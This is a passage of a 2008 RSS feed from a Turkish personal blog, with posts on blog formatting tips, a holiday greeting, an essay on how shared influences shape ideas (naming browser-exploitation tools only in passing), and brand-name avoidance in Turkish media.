  <title>Kurban Bayramınız Mübarek Olsun</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/M51Lmp56GZM/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 07 Ara 2008 12:42:38 +0300</pubDate>
  <description>&lt;p&gt;Hepimizin bayramı mübarek olsun.
&lt;/p&gt;&lt;p&gt;Ben de bayram boyunca kendime tatil aldım. Buralarda Kraliçe' den başka el öpmesine gideceğimiz kimse olmadığı için yatıyor, yazılım geliştiriyor, oyun oynuyor ve blog yazıyor olacağım.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/06sG5mNB553LeolPguDjbNBWK-0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/06sG5mNB553LeolPguDjbNBWK-0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/06sG5mNB553LeolPguDjbNBWK-0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/06sG5mNB553LeolPguDjbNBWK-0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=uLlTuxn3"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=EWjlUWsn"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=CYsnNqPi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=wK9Mqf45"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=wK9Mqf45" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/M51Lmp56GZM" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/kurban-bayraminiz-mubarek-olsun-oku/</guid>
  <comments>http://ferruh.mavituna.com/kurban-bayraminiz-mubarek-olsun-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/kurban-bayraminiz-mubarek-olsun-oku/</feedburner:origLink></item>
<item>
  <title>Blog Yazılarının Formatı</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/cYe6jb-N8nE/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 05 Ara 2008 18:24:12 +0300</pubDate>
  <description>&lt;p&gt;Ben bu konuda süper bir örnek değilim ve benim de yapmadığım, yapamadığım bir çok şey var ama blog yazarken yazının formatı hakkında şunlara dikkat etmekte fayda olduğunu düşünüyorum. 
&lt;/p&gt;&lt;p&gt;Bunların bazıları mesela "&lt;strong&gt;&lt;em&gt;paragraf kullanmak&lt;/em&gt;&lt;/strong&gt;" bence ölümcülken bazıları "&lt;strong&gt;&lt;em&gt;çok fazla smiley kullanmamak&lt;/em&gt;&lt;/strong&gt;" sadece kişisel tercih. &lt;em&gt;Liste büyüdükçe yazı formatı harici bir kaç konuyu da eklemiş bulundum.&lt;/em&gt;
	&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Paragraf Kullanın, bol bol kullanın okunabilirliği inanılmaz derecede arttırıyor,
&lt;/li&gt;&lt;li&gt;Çok küçük fontlar kullanmayın,
&lt;/li&gt;&lt;li&gt;Okunaksız renk kombinasyonları kullanmayın, beyaz arka plan üzerine siyah yazı gibi temiz ve herkes tarafından sevilebilecek kombinasyonlar kullanabilirsiniz,
&lt;/li&gt;&lt;li&gt;Linklerinizin link olduğu belli olsun, rengi değişik olsun ve mümkünse altı da çizgili olsun,
&lt;/li&gt;&lt;li&gt;Uzun alıntılarda &lt;em&gt;italik&lt;/em&gt;  kullanmayın, onun yerine CSS ile bu yazının alıntı olduğunu belirtin. İtalik olarakta okunaklı olan yazılar hariç.
&lt;/li&gt;&lt;li&gt;Cümlenin sonunda "nokta" koyun ve noktadan sonra da "boşluk" bırakın,
&lt;/li&gt;&lt;li&gt;Madde olarak listelenecek şeyleri HTML listeleri ile destekleyin,
&lt;/li&gt;&lt;li&gt;Anlamsal sayıları yazı, matematiksel veya hesapsal sonuç içeren sayıları ise rakam ile yazın,
&lt;/li&gt;&lt;li&gt;"Buraya Tıklayınız" tarzı linkler vermeyin, anlamı içeren yazı parçasına link koyun,&lt;br/&gt;"&lt;em&gt;Hocus Pocus Yazılımı için &lt;a href="http://ferruh.mavituna.com/hocus-pocus-hide-your-applications-anti-boss-style-oku/" title="buraya tıklayınız"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;buraya tıklayınız&lt;/span&gt;&lt;/a&gt;
			&lt;/em&gt;" yerine "&lt;a href="http://ferruh.mavituna.com/hocus-pocus-hide-your-applications-anti-boss-style-oku/" title="Hocus Pocus"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;&lt;em&gt;Hocus Pocus&lt;/em&gt;&lt;/span&gt;&lt;/a&gt;&lt;em&gt; uygulamaları hızlıca gizlemenize yarayan küçük bir uygulamadır.&lt;/em&gt;" gibi.&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Aynı linki aynı yazıda birden fazla defa vermeyin, Aynı şekilde diğer aynı linkleri de iki defa tekrar etmeyin,
&lt;/li&gt;&lt;li&gt;Eğer kullandığınız terim çok az bilinen bir terim değilse bu terimi Wikipedia' ya veya benzeri bilgi merkezlerine linklemeyin. Bir web tasarım blogunda CSS terimini Wikipedia' ya linklemenin hiç bir anlamı yok. Gördüğünüz gibi Google ya da Wikipedia gibi yerlerden bahsederken de link atmanın pek bir anlamı yok,  &lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Eğer teknik terimleri Türkçeye çevirecekseniz ingilizcesini de belirtin,
&lt;/li&gt;&lt;li&gt;Çok uzun parantez açıklamaları yerine dipnotlar oluşturun, yazıyı okuyan kişinin dikkatini dağıtmayın,
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Kalın&lt;/strong&gt;, &lt;em&gt;İtalik&lt;/em&gt; gibi yazı tiplerini yazının içeriğine göre kullanın, bu sayede yazıyı daha takip edilebilir kılacaksınız,
&lt;/li&gt;&lt;li&gt;Paragraflar arasında boşlukları çok bırakın yeni satır ile paragraf arasındaki farkı anlayın,
&lt;/li&gt;&lt;li&gt;Yazının genişliğini 600px' den çok tutmamaya çalışın bundan sonra yazıyı takip etmek zorlaşabiliyor (&lt;em&gt;tamamen kşisel görüşüm, genelde insanlar bu konuda ikiye ayrılıyor&lt;/em&gt;)
&lt;/li&gt;&lt;li&gt;Türkçede ayrı yazılan de, da gibi tırı-vırı ama insanların takıntılı olduğu konulara dikkat edin, sonuçta okuyucuların yazıyı anlamasını istiyorsunuz, yazıyı okurken ufak şeylere takılmalarını değil,
&lt;/li&gt;&lt;li&gt;Türkçe yazı editöründen geçirin, 
&lt;/li&gt;&lt;li&gt;Argo kelimelerden, MSN Türkçesinden uzak durmaya çalışın,&lt;br/&gt;Argo kelimelerde bence pek bir sorun yok ama "hadi yaw, kanka" gibi bir şey okumak pek keyifli değil. Tabii ki bazen yazı stili bunu gerektirebiliyor, o durumları saymıyorum.&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Yazılara resim koyun,&lt;br/&gt;Açıkçası yazılara alakasız sadece resim koymak için resim koymayı ben kendime yediremiyorum, yani boyama kitabı ya da üçüncü kalite bir yapımı pazarlarmışcasına. Ancak aynı fiyat etiketlerini 0.99 YTL yapmak gibi bu da çalışan salak taktiklerden biri. Bunun harici &lt;strong&gt;eğer konuya yardımcı olabilecek resim veya video varsa &lt;/strong&gt;kesinlikle blog yazısına ekleyin, yazıyı aşırı derecede canlandırıyor.&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Yazılara etiket (&lt;em&gt;tag&lt;/em&gt;) eklerken çok etiket eklemeye değil çok yazıya aynı etiketleri eklemeye çalışın, eğer etiketler gruplanamıyorsa etiketlemenin bir anlamı kalmıyor değil mi?
&lt;/li&gt;&lt;li&gt;Yazılarda çok fazla "smiley (&lt;em&gt;sırıtan küçük salak ikonlar, lolcatz' in yazı içerisinde hayat bulmuş hali diye de bilinir&lt;/em&gt;)" kullanmayın, hatta hiç kullanmayın.
&lt;/li&gt;&lt;li&gt;(!) işareti cümlenin sonunda o cümlenin sarkastik bir şekilde söylendiğini belirtir, bunu bilerek kullanın,
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Son olarak bütün bunların &lt;strong&gt;kendi tarzınızın, ya da yazma isteğinizin önüne geçmesine izin vermeyin &lt;/strong&gt;ve unutmayın ki "içerik hala tahtta" &lt;a href="http://www.google.com/search?q=content+is+king" title="*"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;*&lt;/span&gt;&lt;/a&gt;
	&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Bu liste genelde diğer blog yazan kişileri okurken beni rahatsız eden konuları içeriyor, &lt;strong&gt;siz bu blogu okurken nelerden rahatsız oluyorsunuz&lt;/strong&gt;? ya da bu listede olmayan ama &lt;strong&gt;başka blogların yaptığı ve sizi rahatsız eden şeyler neler?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QY2yPOQjZ4lVLhz053Hqv8yRjhQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QY2yPOQjZ4lVLhz053Hqv8yRjhQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QY2yPOQjZ4lVLhz053Hqv8yRjhQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QY2yPOQjZ4lVLhz053Hqv8yRjhQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=7mORc5HY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=X4EL8wD6"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WW3Q1Auw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=IS3rjmRY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=IS3rjmRY" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/cYe6jb-N8nE" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/blog-yazilarinin-formati-oku/</guid>
  <comments>http://ferruh.mavituna.com/blog-yazilarinin-formati-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/blog-yazilarinin-formati-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Fikir Üretme, Etki ve Tepki</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/NKz9QD1j9pc/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 03 Ara 2008 20:58:16 +0300</pubDate>
  <description>&lt;p&gt;Hiç dikkatinizi çekti mi bilmiyorum ama bir bakıyorsunuz altı tane aynı dönem şairi çok yakın arkadaşlar, çünkü hepsi aynı mahallede büyümüşler ya da bir dizi oyuncunun hepsi çocukluk arkadaşı ve hepsi de çok ünlü ve benzer projelerde çalışıyorlar. Mesela Türkiye de bir dönem çok popüler olan muhasabe yazılım firmalarının en büyük ikisinin sahibi üniversitede aynı sınıfta olmaları ya da bugünün internet ve bilgisayar dünmyasının bu hale gelmesinde &lt;a href="http://web.mit.edu/" title="MIT"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;MIT&lt;/span&gt;&lt;/a&gt;' nin büyük rolü ve o günün MIT' sindeki simaların bugün bu sektörde çok büyük imzalarının bulunması gibi. Örnekleri çoğaltabiliriz popüler IDS' lerin geliştiricilerinin oda arkadaşı olması gibi. [1]&lt;br/&gt;&lt;br/&gt;Benim eski ve uçuk teorilerimden biri insanların etrafındaki kişilerin beyin dalgalarından etkilenip istem dışı olarak bilgi çalmaları ve aynı noktaya ulaşmalarıdır. &lt;a href="http://www.imdb.com/title/tt0405296/" title="A Scanner Darkly"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;A Scanner Darkly&lt;/span&gt;&lt;/a&gt;' de bir yatak muhabbetinde de bu felsefenin kırıntıları görülebilir. Yani bir nevi beyninizin diğer insanların beyin dalgalarını çalıp bilinçaltında kullanması. Tabii ki yıllardan sonra bu teorimi daha oturaklı bir hale getirdim ve şuna çevirdim:&lt;br/&gt;&lt;br/&gt;İnsanlar çok gelişmiş makineler, lakin &lt;em&gt;girdi&lt;/em&gt; olmadan &lt;em&gt;çıktı&lt;/em&gt; üretemezler. Mesela henüz ergenliğe erişmemiş bir çocuğa cinsel ilişkiyi anlatamazsınız [5], o çocuk henüz o bilgiyi idrak edecek bir girdiye, içgüdüye sahip değildir. Rasgelelik konusuna hakim olanlar buradaki noktayı daha çabuk kavrayabilirler. Rasgele bir sayı üretmek için genelde bir "&lt;em&gt;seed&lt;/em&gt;" kullanırsınız, yani rasgeleliğin temelini oluşturacak girdi. Bilgisayarlar tamamen tahmin edilebilir olduklarından bilgisayarın kendisi aslında hiç bir zaman rasgele bir şey üretemez, bu yüzden gerçek rasgelelik (&lt;em&gt;TRNG&lt;/em&gt;) çok daha komplike bir sistem gerektirir mesela "evren" gibi, "dünya" gibi, bu tip planını yapamadığımız, bir sonraki adımını tahmin edemediğimiz sistemler bizim için rasgele olan girdiler sağlayabilirler. Bu yüzden bazı sistemler rasgelelik sağlayabilmek için dış dünya datalarını kullanırlar, sıcaklık, nem, ses, hareket, ışık vs.&lt;br/&gt;&lt;br/&gt;Şimdi demek ki insan girdi olmadan çıktı üretemiyor, hayalgücünün belli limitleri ve şekillendiricileri var, demek ki gerçekte rasgelelik yok ama bir dizi etken ve sonuçlar var. Teoride buna dayanıyor. Eğer insanlar aynı kaynaklardan besleniyorsa ürettikleri şeyler ve ulaştıkları noktalar da benzer olacaktır. Yani aynı web sitelerinden, aynı bloglardan, aynı televizyon dizilerinden, aynı filmlerden, aynı müziklerden ve bazen aynı coğrafyadan, hatta aynı öğretemenlerden, aynı kitaplardan beslenen topluluğa dahil olan kişiler aynı ve benzer üretimler yapacaktır. Eğer yarın bir gün bir sosyal platform çıkar ve bu kaynakları tek bir yerde toplar ardından da aynı kaynaklardan beslenen kişileri eşleştirirse bu kişilerin benzer çıktılar ürettiğini gösterecektir.&lt;br/&gt;&lt;br/&gt;Özellikle yakın dönem trendlerini tahmin etme ve bir sonraki adımı görme de bunun sonuçlarından biridir. Ancak buradaki kişi çok sevinmemeli çünkü sektörün bir sonraki adımını tahmin edebilmiş olsa da onunla aynı havuzdan beslenen diğer kişilerde bu bir sonraki adımı tahmin edebilecektir. İşte o noktada "&lt;strong&gt;Fikir x Harekete Geçirme x Hız&lt;/strong&gt;" formülü sonucun değerini belirleyecektir. Fikir' i bu formülden çıkartırsanız gerçekten önemli olanın &lt;em&gt;eyleme geçirme kalitesi &lt;/em&gt;ve bunu ne kadar &lt;em&gt;hızlı &lt;/em&gt;yapabildiğiniz olduğunu göreceksiniz [2].&lt;br/&gt;&lt;br/&gt;Aynı nedenlerden dolayı tarihe icatlar ile ya da yeni yaklaşımlar ile geçmiş bir çok kişi toplum tarafından "kopuk", "manyak", "deli", "sorunlu" olarak nitelendirilmiştir, ya da okuldan atılmıştır. Ressam, müzisyen ve benzeri sanatçılar olduğu kadarıyla teknik kişiler de bir istisna değildir. Ek olarak bazı bilim adamlarının büyük bir buluşa ulaşmalarını sağlayan neden onların "&lt;em&gt;genel olarak kabul gören&lt;/em&gt;" bir şeyi kabul etmemiş olmalalarıdır. Bu da aynı "&lt;em&gt;Balığa suyu anlatmak&lt;/em&gt; gibidir", Ne zaman balık kendini sudan bağımsız sayabilir o dakikada suyun ne olduğunu anlayabilir, aksi takdirde su onun için dogma bir bilgidir, bunu tekrar tanımlamak ve anlatmak mümkün olmayabilir. &lt;br/&gt;&lt;br/&gt;Ana konuya dönersek iki tip girdi olduğunu görebiliriz:
&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Genel Girdi&lt;br/&gt;&lt;/strong&gt;Bu klasik genel kültür girdisidir, bunun sayesinde kahvede iyi bir konuşmacı olabilir ve hatta bir sonraki haftaki memleket gündemini bile çözebilirsiniz. Ek olarak bu tip girdi toplumların kanalize edilmesindeki en mükemmel yoldur, çünkü bilinçli ya da bilinçsiz (&lt;em&gt;hem yayıncı hem izleyici tarafında&lt;/em&gt;) belli etkiler oluşur ve sonuçlar benzer çıktılara yol açar. On sene önce yayınlanan bir televizyon serisi on sene sonraki ülkenin belli yaşındaki insanları üzerinde etki yapıp, belli akımlara yol açabilir. [6]
&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alternatif Girdi&lt;br/&gt;&lt;/strong&gt;Eğer "Genel Girdi" yi popüler kültür ve standart yaşam tarzı noktasına indirgersek "Alternatif Girdi" yi de normal şartlarda bulunduğun coğrafya, etnik kültürde pek bilinmeyen ve beklenmeyen bilgi ile beslenme olarak tanımlayabiliriz. Mesela İstanbul - Bostancı' daki bir adamın Afrika Etnik müziği dinlemesi tam anlamıyla o kişi için alternatif bir girdidir. Dolayısıyla bu kişinin her adımdaki çıktısını etkileyecektir. [7]
&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Aynı dalgadan girdiye maruz kalan insanlar istem dışı aynı şeyleri üretecektir. Mesela ben &lt;a href="http://labs.portcullis.co.uk/application/xssshell/" title="XSS Shell"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;XSS Shell&lt;/span&gt;&lt;/a&gt;' i yayınladığım hafta &lt;a href="http://www.gnucitizen.org/blog/attackapi/" title="Attack API"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Attack API&lt;/span&gt;&lt;/a&gt; ve &lt;a href="http://www.bindshell.net/tools/beef" title="BeeF"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;BeeF&lt;/span&gt;&lt;/a&gt; te yayınlandı. 2005' te bu konunun ilk örneği geliştirilmesine rağmen tam &lt;strong&gt;iki sene sonra, üç farklı kişi &lt;/strong&gt;aynı konsepti daha farklı bir şekilde birbirlerinden haberdar olmadan tekrar yaptı[3]. İlk bakışta bu her ne kadar tuhaf görünse de bu kişilerin hepsinin benzer arka plana sahip oldukları (&lt;em&gt;yazılım geliştiriciliği, güvenlik&lt;/em&gt;
		&lt;em&gt;ve web uygulaması güvenliği odağı&lt;/em&gt;),  aynı blogları takip ettiği, son zamanlardaki aynı makaleleri okudukları düşünülünce, sonuç biraz kaçınılmaz oluyor. [8] Sonuçların ikisi çok yakınken diğeri biraz&lt;strong&gt;
		&lt;/strong&gt;farklıydı. Bunun da ana nedenini, o kişinin alternatif girdilerine bağlıyorum. Onun ürettiği yazılım tamamen JavaScript ağırlıklı idi ve kendiside diğer iki kişiye göre JavaScript&lt;strong&gt;
		&lt;/strong&gt;ile çok daha yoğun şekilde uğraşıyordu. &lt;strong&gt;&lt;br/&gt;&lt;br/&gt;&lt;/strong&gt;Son zamanlarda okuduğum Paul Graham' ın &lt;a href="http://www.paulgraham.com/cities.html" title="Cities and Ambition"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Cities and Ambition&lt;/span&gt;&lt;/a&gt; yazısı[4] tüm bu anlattıklarıma başka bir açıdan yaklaşıyor. O da yaşadığı şehrin insana verdiği mesajdan ve insanın o mesajdan etkilenip hayat tarzını ona göre şekillendirmesinden bahsediyor ki bu da burada bahsettiğim girdi ve çıktı fikrini destekliyor. &lt;br/&gt;&lt;br/&gt;Tüm bunlar sizin günlük hayatınızda bir anlam ifade ediyor mu? Anlam ifade ettiği tek şey nasıl bir "girdi" [9] istediğinizi tanımlamak olabilir. Bunun sonucunda da çalıştığınız iş yerini, okuduğunuz siteleri, kitapları, kaynakları, ilgilendiğiniz hobileri, gördüğünüz yerleri, yaşadığınız şehri, yaşadığınız odayı, yaşağıdınız ülkeyi değiştirmek, çeşitlendirmek olabilir.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;em&gt;&lt;br/&gt;[1] Bunların hepsini kişi ve örnekleri isimler ile detaylı vermek isterdim ama maalesef hiç biri detayları ile aklımda kalmadı, eğer benzer kesin ve güzel örnekler biliyorsunuz yorum olarak belirtebilirsiniz.&lt;br/&gt;[2] Bundan sonra tabii ki bu işi pazarlama gibi noktlar var, onlara değinmiyorum&lt;br/&gt;[3] Burada kimsenin birbirinden duyarak yapması mümkün değildi çünkü projenin geliştirilme aşaması bir haftadan kısa olamaz, dolayısıyla bu üç kişinin de bunu tamamen birbirlerinden bağımsız yaptıklarını söyleyebiliriz. Daha da uç bir örnek vermek gerekirse, 5-6 sene kadar önce bir web projesini henüz açmadan, aynı fikri, neredeyse aynı arabirim ile ve hatta aynı renkler ve aynı arkaplan ile (benim soldan sağa iken onunki sağdan solaydı) başka birisi benim yayın tarihimden bir hafta kadar önce açtı. Eminim sizin de bizzat tanık olduğunuz benzer örnekler vardır.&lt;br/&gt;[4] Bu Paul Graham' ın diğer yazıları gibi harika bir yazı, İstanbul tam olarak ne mesaj gönderiyor, henüz ben çözemedim. Ama sanırım gönderdiği mesajlardan biri "Hayatta Kal!" .&lt;br/&gt;[5] İmam-ı Gazali' nin enfes metaforlarından biri, maalesef orijinal kullanım konusu aklımda değil&lt;br/&gt;[6] Sanıyorum ki açmıştır da, ama o gözlemi yapmak beni aşan konulardan biri, belki yirmi sene sonra gene bu konuda blog yazarsam, tekrar bu gözlemi yapabilirim!'&lt;br/&gt;[7] Bu noktada &lt;strong&gt;Kelebek Etkisini&lt;/strong&gt; unutmamak lazım, ama aynı şekilde bir zarı 1000 defa atarsanız tüm zarların ortalaması 3 olacağı gibi genel çıktılar belli ortak paydalarda buluşacaktır &lt;br/&gt;[8] Burada muhtemelen çok daha fazla kişi aynı arka plana ve girdiye sahipti ancak, bir çok farklı etkenden dolayı tahmin ediyorum ki bir çok kişi bu projeyi hiç bir zaman hayata geçirmedi.&lt;/em&gt;&lt;br/&gt;&lt;em&gt;[9] Bu "girdi" kelimesi çok fena yanlış anlaşılmalara neden oluyor!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5Je3hjMoSkNayjrZAZQDC-yuULI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5Je3hjMoSkNayjrZAZQDC-yuULI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5Je3hjMoSkNayjrZAZQDC-yuULI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5Je3hjMoSkNayjrZAZQDC-yuULI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xI5rNsHo"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=mBoJnPb7"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WPFqrJeQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xcZFdCcJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=xcZFdCcJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/NKz9QD1j9pc" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/fikir-uretme-etki-ve-tepki-oku/</guid>
  <comments>http://ferruh.mavituna.com/fikir-uretme-etki-ve-tepki-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/fikir-uretme-etki-ve-tepki-oku/</feedburner:origLink></item>
<item>
  <title>Reklam Korkusu</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/aqHW42qT20w/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 02 Ara 2008 23:17:01 +0300</pubDate>
  <description>&lt;p&gt;Nedense bizde genel olarak bir reklam yapma korkusu var. Mesela üzerinde markanın büyük harflerle yazdığı kıyafetleri "Ben bedavaya adamın reklamını mı yapacağım?" diye giymeyen insanlar var. Sanki bizim arka mahallenin sidikli Murat' ı değil de David Beckham arkadaş. Bu o kadar büyük bir mevzu değil ama bu işin özü. &lt;br/&gt;&lt;br/&gt;Olayın değişik çıktılarını farklı yerlerde görebiliyoruz;
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Türk dizilerinde, filmlerinde markaların hepsi sansürlüdür, firma adları, ürün isimleri söylenmez,*&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Microsoft Zirvelerinde konuşmacılar Linux değil, Linux ve türevlerini kastederken "Diğer İşletim Sistemleri" derler, &lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Firmalar resmi olmayan yerlerde diğer benzer ürün ve firmalardan bahsederken "rakiplerimiz", ya da "benzer ürünler" derler, rakip bariz ve tek olsa bile isim kullanılmaz, Öyle ya reklamın iyisi kötüsü yoktur,&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Microsoft' un yabancı evangelistleri hatta direk o ürünler üzerinde çalışanlar bile ürünlerini benzerlere göre zayıflıklarını açık açık söylerken,Türkiye' dekiler bu tip şeyleri asla kabul etmez ve rakip firma, ürün ismi kullanmaz. Microsoft örneğini ikinci defa veriyorum çünkü çok tanık oldum ve MS' in diğer ülkelerdeki yaklaşımı ile Türkiye' deki yaklaşımı bireyler açısından çok değişik, dolayısıyla farkı görmek çok basit.&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;Çok fazla Türk roman okumuyorum, pek atmış olmayayım ama gördüğüm kadarıyla romanlarda da marka, ürün vs. isimleri geçmez.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Mesela Stephen King' te görürsünüz ki karakterler Seven Eleven' da Coca Cola içerler, bilmem ne markası ile ellerini yıkarlar. Ya da Big bang Theory de Penny Age of Conan oynar, her üç dizinin ikisinde karakterler XBox onar. Bizde ise Wii ürününü göstermemek için üç takla atılır, hele ismi ise kesinlikle zikredilmemelidir. &lt;br/&gt;&lt;br/&gt;Her zamanki bu sonuçsuz daha çok neden böyle sorusunu akla getiren bir yazı. Henüz ben bunun neden böyle olduğunu psiko-analiz edemedim, edenler vardır. Herkesin "Türkler ..." diye başlayan şeylerden sıkıldığını biliyorum ama bence çok önemli bir konu çünkü bu tip şeyler toplum olarak nerelerde doğru nerelerde yanlış yaptığımızı ortaya koyacak şeyler. Global bir dünyadayız &lt;a href="http://ferruh.mavituna.com/tag/sosyal%20hoppalik/" title="sosyal hoppalık"&gt;sosyal hoppalık&lt;/a&gt; hepimizi dünya ile burun buruna getirdi, farklılıkları görmek çok daha kolay. Başkalarının ne sorunları nasıl çözdüğünü, neyi yanlış yaptığını, ne tip bir tarihin onları nasıl iyi veya kötü etkilediğini görmemiz çok daha kolay. Bunların sonucunda rakı masasında ülkeyi kurtaracak halimiz yok ama her zaman kendimiz kurtarabilir ve dalgaya kapılmadan kendi yolumuzu çizebiliriz.&lt;br/&gt;&lt;br/&gt;Son olarak bloglar gibi organik ve kurumsal olmayan yapılar her ne kadar bunu takmasa da orada da başka bloglardan bahsetme korkusu zaman zaman başgösterir, mesela yazıya link verilmez "alıntı" yapılır, bu "alıntı" lar o kadar büyükdür ki adeta yazıyı almış gitmişsin gibi olur. Gene de sanırım internetin doğal samimi yapısı bu olayı çok ciddi şekilde kırıyor ve çok değil yakında kurumsal anlamda da bu yapıların başka coğrafyalarda kırıldığı gibi bizde de kırılacağına eminim.&lt;br/&gt;&lt;br/&gt;* Türk dizi, film vs. lerde gizli reklam yasasından dolayı bunların bir çoğu mümkün olmuyor olabilir, ama yegane örnek bu değil ve sanırım genel kanıyı değiştirmiyor, ek olarak eminim ki bununda kanuni olarak üzerinden gelmenin bir yolu vardır. Bu konuda daha bilgili olan birinde işin o kısmının detaylarını duyabilirsek güzel olur.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CmhpGFdgPYKWcvclL-3e8wlxGVQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CmhpGFdgPYKWcvclL-3e8wlxGVQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
